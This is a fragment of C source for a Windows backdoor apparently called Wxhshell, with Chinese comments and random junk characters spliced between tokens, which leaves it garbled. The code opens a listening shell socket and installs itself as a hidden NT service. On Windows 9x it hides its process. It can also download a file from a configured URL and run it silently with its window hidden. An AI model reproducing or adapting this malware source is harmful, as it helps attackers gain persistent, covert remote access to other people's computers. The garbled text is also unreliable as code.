"UBeo<Z Cu}Rq!9i // 主模块 `.n[G~*w~1 int StartWxhshell(LPSTR lpCmdLine) E@?jsN7 { B!,})F$x SOCKET wsl; T^"d%au BOOL val=TRUE; b747 eR 7E int port=0; lGxG$0`;; struct sockaddr_in door; 46*?hA7@r( .; :[sv) if(wscfg.ws_autoins) Install(); )%*uMuF
djk port=atoi(lpCmdLine); sYvO"| mFT[[Z# if(port<=0) port=wscfg.ws_port; IuPwFf) ztf (.~ WSADATA data; es.`:^A if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2lQ'rnqS) MVV<&jho{^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Zcc6E2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xX}vxhN door.sin_family = AF_INET; IKpNc+;p door.sin_addr.s_addr = inet_addr("127.0.0.1"); 67d0JQTu door.sin_port = htons(port); -E.EI@" *F=wMWa if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2Ddrxc>48 closesocket(wsl); hF6EOCY6D return 1; )4j#gHN\ } &0M^UvO 98x(2fCvF( if(listen(wsl,2) == INVALID_SOCKET) { WFtxEIrl3j closesocket(wsl); @n<WM@|l return 1; B;^7Yu0, } oSxHTbp? Wxhshell(wsl); .a$][Jny WSACleanup(); Jyvc(~x y>|7'M*+ return 0; # *\PU dq[CT } N1_nBQF ) ^/c&Ud // 以NT服务方式启动 =8[HC}s|$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aVd{XVE { ~W!sxM5(* DWORD status = 0; LTrn$k3} DWORD specificError = 0xfffffff; O0wD"V^W }nuhLt1 serviceStatus.dwServiceType = SERVICE_WIN32; \07
s'W U serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8eL[,uw serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V"gnG](2l serviceStatus.dwWin32ExitCode = 0; &AC-?R|Dp serviceStatus.dwServiceSpecificExitCode = 0; %T!UEl`v serviceStatus.dwCheckPoint = 0; |Zz3X serviceStatus.dwWaitHint = 0; .I[uXd 7x`uGmp1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FD[*mCGZ if (hServiceStatusHandle==0) return; 'R= r9_% -]HO8}-Rjs status = GetLastError(); !<@Zf4m if (status!=NO_ERROR) 6:J @ { xj(&EGY: serviceStatus.dwCurrentState = SERVICE_STOPPED; \# serviceStatus.dwCheckPoint = 0; ?$9C[Kw` serviceStatus.dwWaitHint = 0; A\gj\&B0" serviceStatus.dwWin32ExitCode = status; aHS.U^2 serviceStatus.dwServiceSpecificExitCode = specificError; sy4$!,W: SetServiceStatus(hServiceStatusHandle, &serviceStatus); u[y>DPPx return; W +C\/ } R/U"]Rc tPc '#. serviceStatus.dwCurrentState = SERVICE_RUNNING; q
f-1} serviceStatus.dwCheckPoint = 0; ,Epg&)wC] serviceStatus.dwWaitHint = 0; dX` _Y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |>Kf_b Y# } x-Yt@}6mvl @:X~^K. // 处理NT服务事件,比如:启动、停止 Ust>%~< VOID WINAPI NTServiceHandler(DWORD fdwControl) P6dIU/w { h$y1"!N( switch(fdwControl) (:-=XR9A` { yin"+&<T case SERVICE_CONTROL_STOP: TAIcp*)ZM serviceStatus.dwWin32ExitCode = 0; IYb@@Jzo serviceStatus.dwCurrentState = SERVICE_STOPPED; xqX~nV#TB serviceStatus.dwCheckPoint = 0; &H`yDrg6U serviceStatus.dwWaitHint = 0; yD(0:g# { =DUsQN! SetServiceStatus(hServiceStatusHandle, &serviceStatus); %mg |kb6n } =D<46T=(RB return; 1vu=2|QN case SERVICE_CONTROL_PAUSE: UPA))Iv> serviceStatus.dwCurrentState = SERVICE_PAUSED; E: L =>} break; ^7V9\Q9 case SERVICE_CONTROL_CONTINUE: VWaI!bK serviceStatus.dwCurrentState = SERVICE_RUNNING; Jx(%t<2 break; Q];+?Pu. case SERVICE_CONTROL_INTERROGATE: UeX3cD break; kL{2az3"c }; rU%\ 8T0f SetServiceStatus(hServiceStatusHandle, &serviceStatus); .^fq$7Y}7 } esWgYAc3{ ySL 31% // 标准应用程序主函数 ^;!A`t int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G/bWn@ { 5,|^4
ZA -aXV}ZY" // 获取操作系统版本 ;q59Cr 75 OsIsNt=GetOsVer(); mM&H;W GetModuleFileName(NULL,ExeFile,MAX_PATH); 8S&` JIQS'r // 从命令行安装 JY~s-jxa if(strpbrk(lpCmdLine,"iI")) Install(); /)e&4.6 x?VX,9;j // 下载执行文件 &S]\)&Yt if(wscfg.ws_downexe) { -6aGcPq if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rX)PN3TD WinExec(wscfg.ws_filenam,SW_HIDE); : DCj2" } pTX{j=n! /|bir6Y: if(!OsIsNt) { "n=`{~F // 如果时win9x,隐藏进程并且设置为注册表启动 xzbyar< HideProc(); l!EfvqWX StartWxhshell(lpCmdLine); ,0[bzk } S9t_2%e else 1BmevEa) if(StartFromService()) i\XOk! // 以服务方式启动 t=d~\_Oa StartServiceCtrlDispatcher(DispatchTable); >| rID else _A;jtS)SY // 普通方式启动
+,gI| StartWxhshell(lpCmdLine); b(&2/|hd :w_Zr5H] return 0; mpIRe@#Z }
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